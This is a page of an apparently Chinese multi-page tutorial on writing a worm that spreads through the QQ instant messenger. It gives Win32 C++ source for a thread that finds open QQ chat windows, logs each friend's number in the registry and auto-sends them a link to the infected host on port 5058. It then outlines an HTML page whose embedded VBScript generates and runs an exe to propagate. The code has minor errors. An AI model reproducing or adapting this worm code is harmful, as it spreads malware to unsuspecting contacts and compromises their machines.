2. 操作QQ线程的实现    

   1) 获得本机IP地址。

   2) 等待出现“发送消息”窗口。

   3) 获得这个窗口的QQ号，也就是这个好友的QQ号。判断是否已经向这个号发

      送过，如果是，则转1），不是则发送，并在注册表中登记。

   4) 获得文本区句柄，设置新的消息。

   5) 向“发送消息(&S)"按钮发送BM_CLICK消息，发送这条信息。转1）。



DWORD WINAPI  SendQQMsg(LPVOID lpParameter)

{

        HKEY   hKey;    

        char   buf[256];

        

        HWND   hWnd,hTextWnd,hWndQQNumber,hWndButton;

        char   QQRoot[]= "Software\\QQNums\\";

        char   QQRootNumber[128];

        int    QQNumberID=0x0DF;

        POINT  p={50,280};



        struct hostent * lpHostEnt;

        char   szLocalIP[30];        //形如http://202.118.224.2:5058

        

        gethostname(buf,256);

        lpHostEnt = ::gethostbyname (buf);

        struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;        

        ::lstrcpy(szLocalIP,"http://");

        ::lstrcat(szLocalIP,inet_ntoa(*ia));

        ::lstrcat(szLocalIP,":5058");



        while(TRUE)

        {

                ::Sleep(1000);

                hWnd = ::FindWindow(0,"发送消息");      

                if(hWnd==NULL)

                        continue;

                hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);                                            

                if(hWndQQNumber==NULL)

                        continue;      

                ::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);                                  

                ::lstrcpy(QQRootNumber,QQRoot);

                ::lstrcat(QQRootNumber,buf);

              

  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,

KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)

                {

RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);

                    hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);            

                    ::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);  

                        

                    hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");

                    ::SendMessage(hButton,BM_CLICK,0,0);                                          

                }

        }

        return 1;

}



3. 发送html页面的实现.

   因为IE识别的是html,而不能执行exe.所以，html要包含exe.然后利用html

内嵌的vbs，生成并运行exe，从而达到传播的目的。

   可是，对exe编码和解码具有一定的难度，如何才能使代码最简练，最节约空间呢？这里给出一种新思路。

上一页  [1] [2] [3] [4] [5] 下一页